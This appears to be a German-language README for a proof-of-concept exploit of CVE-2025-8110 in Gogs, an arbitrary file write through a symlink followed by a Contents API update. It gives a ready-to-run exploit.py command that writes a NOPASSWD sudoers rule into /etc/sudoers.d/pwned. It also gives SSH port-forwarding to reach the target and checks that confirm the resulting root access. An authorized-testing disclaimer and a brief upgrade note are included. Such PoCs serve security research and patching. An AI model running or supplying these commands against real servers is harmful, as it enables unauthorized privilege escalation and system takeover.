
PoC für CVE-2025-8110 - Gogs beliebiges Datei-Schreiben über Symlink
Proof-of-Concept für einen authentifizierten beliebigen Datei-Schreibzugriff in Gogs. Durch das Pushen eines Repositorys, das einen symbolischen Link enthält, der aus dem Repo hinausweist, und anschließendes Aktualisieren des Link-Inhalts über die API kann ein authentifizierter Benutzer Dateien auf dem Host mit den Berechtigungen des Kontos überschreiben, unter dem Gogs läuft.
Nur autorisierte Tests und Schulungen. Führen Sie dies nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Sie sind dafür verantwortlich, wie Sie es verwenden.
malicious_link -> /pfad/auf/host) hinzufügen und pushen.PUT-Request an die Contents-API, um malicious_link zu aktualisieren. Gogs folgt dem symbolischen Link und schreibt den bereitgestellten Inhalt in den Zielpfad – mit seinen eigenen Berechtigungen. Wenn Gogs als root läuft, ist dies ein direktes Privilegieneskalations-Primitiv (z.B. Einfügen einer Regel in /etc/sudoers.d/).Der API-PUT-Request ist das, was den Schreibvorgang tatsächlich auslöst; der Push platziert nur den symbolischen Link.
git im PATH verfügbarpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
Lassen Sie --password weg, um stattdessen sicher zur Eingabe aufgefordert zu werden, anstatt es über die Befehlszeile zu übergeben.
Gogs ist auf dem Ziel oft an localhost gebunden. Verwenden Sie SSH-Local-Port-Forwarding, um es für Ihren Rechner verfügbar zu machen (passen Sie die Ports an das Ziel an):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
Nach einem erfolgreichen Durchlauf überprüfen Sie auf dem Host (als der entsprechende Benutzer):
cat /etc/sudoers.d/pwned
sudo -l
Wenn Sie eine sudoers-Regel geschrieben haben, beachten Sie, dass Dateien in /etc/sudoers.d/ gültig sein müssen und über die entsprechenden Berechtigungen verfügen müssen, damit sudo sie berücksichtigt.
auto_init gibt HTTP 500 zurück — das Skript fällt zurück auf das Erstellen eines leeren Repos und das Befüllen mit einem lokalen git init + Push.master vs main.Aktualisieren Sie auf eine Gogs-Version, die symbolische Links in der Contents-API validiert. Verwenden Sie zur Tiefenverteidigung kein Root-Konto für Gogs und isolieren Sie die Repository-Speicherung.
MIT — siehe LICENSE.